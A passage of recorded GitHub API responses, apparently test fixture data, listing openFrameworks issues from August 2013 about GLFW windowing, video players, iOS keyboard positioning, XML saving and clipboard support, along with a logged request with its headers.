Messages","user":{"login":"kamend","id":462951,"avatar_url":"https://0.gravatar.com/avatar/1b0002ee319a421a56ef94c199382fb7?d=https%3A%2F%2Fidenticons.github.com%2F855526feec5d5e0ffaf4ea2115979d44.png","gravatar_id":"1b0002ee319a421a56ef94c199382fb7","url":"https://api.github.com/users/kamend","html_url":"https://github.com/kamend","followers_url":"https://api.github.com/users/kamend/followers","following_url":"https://api.github.com/users/kamend/following{/other_user}","gists_url":"https://api.github.com/users/kamend/gists{/gist_id}","starred_url":"https://api.github.com/users/kamend/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kamend/subscriptions","organizations_url":"https://api.github.com/users/kamend/orgs","repos_url":"https://api.github.com/users/kamend/repos","events_url":"https://api.github.com/users/kamend/events{/privacy}","received_events_url":"https://api.github.com/users/kamend/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-14T11:08:04Z","updated_at":"2013-08-20T09:15:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey guys,\r\nI am playing around with OF 0.8 and I noticed that ofAppGLFWWindow has some verbose messages, when pressing mouse buttons and keys, is this intentional or you just forgot to remove the messages?\r\n\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: key: 343 state: 1\r\n[verbose] ofAppGLFWWindow: key: 343 state: 0\r\n[verbose] ofAppGLFWWindow: key: 343 state: 1\r\n\r\nGreat work btw!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2464","id":18038636,"number":2464,"title":"Can I use ofGstVideoPlayer in Windows? (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-14T07:28:45Z","updated_at":"2013-08-17T03:57:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Because ofQuickTimePlayer only play *.mov, would like to use gst ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2460","id":18003137,"number":2460,"title":"ofxAndroidVideoPlayer working on emulator not on device (iStick A200)","user":{"login":"I33N","id":520375,"avatar_url":"https://0.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https%3A%2F%2Fidenticons.github.com%2F029dd6120545e3ca65422e4479af8e99.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","url":"https://api.github.com/users/I33N","html_url":"https://github.com/I33N","followers_url":"https://api.github.com/users/I33N/followers","following_url":"https://api.github.com/users/I33N/following{/other_user}","gists_url":"https://api.github.com/users/I33N/gists{/gist_id}","starred_url":"https://api.github.com/users/I33N/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/I33N/subscriptions","organizations_url":"https://api.github.com/users/I33N/orgs","repos_url":"https://api.github.com/users/I33N/repos","events_url":"https://api.github.com/users/I33N/events{/privacy}","received_events_url":"https://api.github.com/users/I33N/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-13T15:34:27Z","updated_at":"2013-08-13T17:21:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I am working with the iStick A200 (PQLabs ANdroid stick) and wanted to test the video player example. It worked great on the emulator (using auto instead of external in the manifest) but when I launch it on the device I can only see 1 line of pixel flickering.\r\n\r\nThe movie is loaded without problem, I can even see the resolution is OK and I have no problem reading it with the basic videoplayer.\r\n\r\nAs the iStick is not supported on OSX I can't monitor it with logcat and I have to copy the .apk on the device to test. So I can't copy the log. But it looks just fine.\r\n\r\nAny idea? Did you have more luck on another device?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2457","id":17992953,"number":2457,"title":"vboDrawInstancedExample hardware check not accurate. ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-13T12:09:51Z","updated_at":"2013-08-14T10:21:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vboDrawInstancedExample seems to work fine for some people even if the check for glDrawElementsInstanced returns 0. \r\n\r\nMaybe there is a better way to test that doesn't get some false negatives.\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,13049.msg56329.html#msg56329\r\n\r\nrelates to #2433 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2456","id":17986223,"number":2456,"title":"Window not being redrawn while resizing","user":{"login":"bgstaal","id":165258,"avatar_url":"https://0.gravatar.com/avatar/4fcf8b28dcc18014970d4930d0a00e72?d=https%3A%2F%2Fidenticons.github.com%2Fc78b173dd2f89f95c1414e53b78123fe.png","gravatar_id":"4fcf8b28dcc18014970d4930d0a00e72","url":"https://api.github.com/users/bgstaal","html_url":"https://github.com/bgstaal","followers_url":"https://api.github.com/users/bgstaal/followers","following_url":"https://api.github.com/users/bgstaal/following{/other_user}","gists_url":"https://api.github.com/users/bgstaal/gists{/gist_id}","starred_url":"https://api.github.com/users/bgstaal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bgstaal/subscriptions","organizations_url":"https://api.github.com/users/bgstaal/orgs","repos_url":"https://api.github.com/users/bgstaal/repos","events_url":"https://api.github.com/users/bgstaal/events{/privacy}","received_events_url":"https://api.github.com/users/bgstaal/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":1,"created_at":"2013-08-13T09:07:23Z","updated_at":"2013-08-13T11:33:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Since the switch to GLFW for windowing the window is not redrawn while being resized. See this screenshot from the advanced 3d example (Taken while resizing the window):\r\n\r\n![redraw-error](https://f.cloud.github.com/assets/165258/953491/6db5463e-03f7-11e3-840e-961a49fc8516.png)\r\n\r\nI tried switching to ofAppGlutWindow in main.c and then everything works fine.\r\n\r\nI've only tested this on Mac OS 10.7\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2455","id":17984675,"number":2455,"title":"borderless windows?","user":{"login":"mazbox","id":194121,"avatar_url":"https://2.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https%3A%2F%2Fidenticons.github.com%2F1a833e8b88a3cb77651448055b3e93e9.png","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","url":"https://api.github.com/users/mazbox","html_url":"https://github.com/mazbox","followers_url":"https://api.github.com/users/mazbox/followers","following_url":"https://api.github.com/users/mazbox/following{/other_user}","gists_url":"https://api.github.com/users/mazbox/gists{/gist_id}","starred_url":"https://api.github.com/users/mazbox/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mazbox/subscriptions","organizations_url":"https://api.github.com/users/mazbox/orgs","repos_url":"https://api.github.com/users/mazbox/repos","events_url":"https://api.github.com/users/mazbox/events{/privacy}","received_events_url":"https://api.github.com/users/mazbox/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-08-13T08:26:09Z","updated_at":"2013-08-20T09:26:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Now we're on GLFW, could we have the option to have borderless windows? This is really easy in ofAppGLFWWindow.cpp, just need this:\r\n\r\nglfwWindowHint(GLFW_DECORATED, GL_FALSE);\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2449","id":17928213,"number":2449,"title":"ofxiOSKeyboard need fix y poision?","user":{"login":"azuremous","id":319589,"avatar_url":"https://2.gravatar.com/avatar/c3d1cd991fa2f486a4d2a387531de77e?d=https%3A%2F%2Fidenticons.github.com%2Fbb2af607d543b861335f5fe253300975.png","gravatar_id":"c3d1cd991fa2f486a4d2a387531de77e","url":"https://api.github.com/users/azuremous","html_url":"https://github.com/azuremous","followers_url":"https://api.github.com/users/azuremous/followers","following_url":"https://api.github.com/users/azuremous/following{/other_user}","gists_url":"https://api.github.com/users/azuremous/gists{/gist_id}","starred_url":"https://api.github.com/users/azuremous/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azuremous/subscriptions","organizations_url":"https://api.github.com/users/azuremous/orgs","repos_url":"https://api.github.com/users/azuremous/repos","events_url":"https://api.github.com/users/azuremous/events{/privacy}","received_events_url":"https://api.github.com/users/azuremous/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":1,"created_at":"2013-08-12T07:54:05Z","updated_at":"2013-08-20T08:44:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxiOSKeyboard.mm\r\n\r\ninside init() and updateOrientation() there is _y = _h need to fix to _y = _yOriginal ?\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2447","id":17925468,"number":2447,"title":"Feature Request: ofXml saving with XML declaration","user":{"login":"Geistyp","id":1510109,"avatar_url":"https://0.gravatar.com/avatar/6b42478d52d104580a1ae20f973975c2?d=https%3A%2F%2Fidenticons.github.com%2F45d69e69ac304ad6dc2269ebba53ba69.png","gravatar_id":"6b42478d52d104580a1ae20f973975c2","url":"https://api.github.com/users/Geistyp","html_url":"https://github.com/Geistyp","followers_url":"https://api.github.com/users/Geistyp/followers","following_url":"https://api.github.com/users/Geistyp/following{/other_user}","gists_url":"https://api.github.com/users/Geistyp/gists{/gist_id}","starred_url":"https://api.github.com/users/Geistyp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Geistyp/subscriptions","organizations_url":"https://api.github.com/users/Geistyp/orgs","repos_url":"https://api.github.com/users/Geistyp/repos","events_url":"https://api.github.com/users/Geistyp/events{/privacy}","received_events_url":"https://api.github.com/users/Geistyp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://0.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https%3A%2F%2Fidenticons.github.com%2Fb2018d244935ce2c5e98c5834187e538.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following{/other_user}","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2013-08-12T06:09:43Z","updated_at":"2013-08-20T14:31:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"- Sometimes we need when save wide-char string. ( Save as ascii will get a lot of messy code )\r\n\r\n```c++\r\nbool ofXml::save(const string & path, bool saveWithDeclaration/*=false*/){\r\n ofBuffer buffer(saveWithDeclaration?\r\n\t\t\t\t\"\\n\"\r\n\t\t\t\t:\"\"\r\n\t\t\t\t+toString());\r\n ofFile file(path, ofFile::WriteOnly);\r\n return file.writeFromBuffer(buffer);\r\n}\r\n```\r\n\r\n- Or ofFile/ofBuffer add utf-8 save mode.\r\n\r\n```c++\r\nstd::ofstream fs;\r\nfs.open(filepath, std::ios::out|std::ios::binary);\r\n\r\nunsigned char smarker[3];\r\nsmarker[0] = 0xEF;\r\nsmarker[1] = 0xBB;\r\nsmarker[2] = 0xBF;\r\n\r\nfs << smarker;\r\nfs.close();\r\n\r\n//Then open the file as UTF and write your content there:\r\n\r\nstd::wofstream fs;\r\nfs.open(filepath, std::ios::out|std::ios::app);\r\n\r\nstd::locale utf8_locale(std::locale(), new utf8cvt);\r\nfs.imbue(utf8_locale); \r\n\r\nfs << .. // Write anything you want...\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2445","id":17924672,"number":2445,"title":"UTF-8 String Clipboard Support","user":{"login":"bakercp","id":300484,"avatar_url":"https://2.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"bakercp","id":300484,"avatar_url":"https://2.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-12T05:22:23Z","updated_at":"2013-08-14T11:03:50Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2445","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2445.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2445.patch"},"body":"Perhaps the window interface could also be implemented in mobile platforms.\r\n\r\n- [x] Add support to `ofAppiOSWindow` (go @julapy ! 0c6db8934f3eff84dca3af5939891d9883910b8d) \r\n- [ ] Add support to `ofAppAndroidWindow` (@arturoc can you take this one?)\r\n- [x] Add support to `ofAppEGLWindow` (will not be implemented as GLFW is now used on all known x11 accelerated)\r\n- [x] Add support to `ofAppNoWindow` (?)\r\n- [x] Add support to `ofAppGlutWindow` (just kidding)"}] https GET api.github.com None /repositories/345337/issues?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4982'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '90328'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:14 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2441","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2441/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2441/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2441/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2441","id":17916118,"number":2441,"title":"Examples needed to be ported to ARM (Master List)","user":{"login":"jvcleave","id":150037,"avatar_url":"https://1.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https%3A%2F%2Fidenticons.github.com%2F5ed96817efb118a36c00303b90e4b003.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":0,"created_at":"2013-08-11T18:43:29Z","updated_at":"2013-08-20T08:42:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"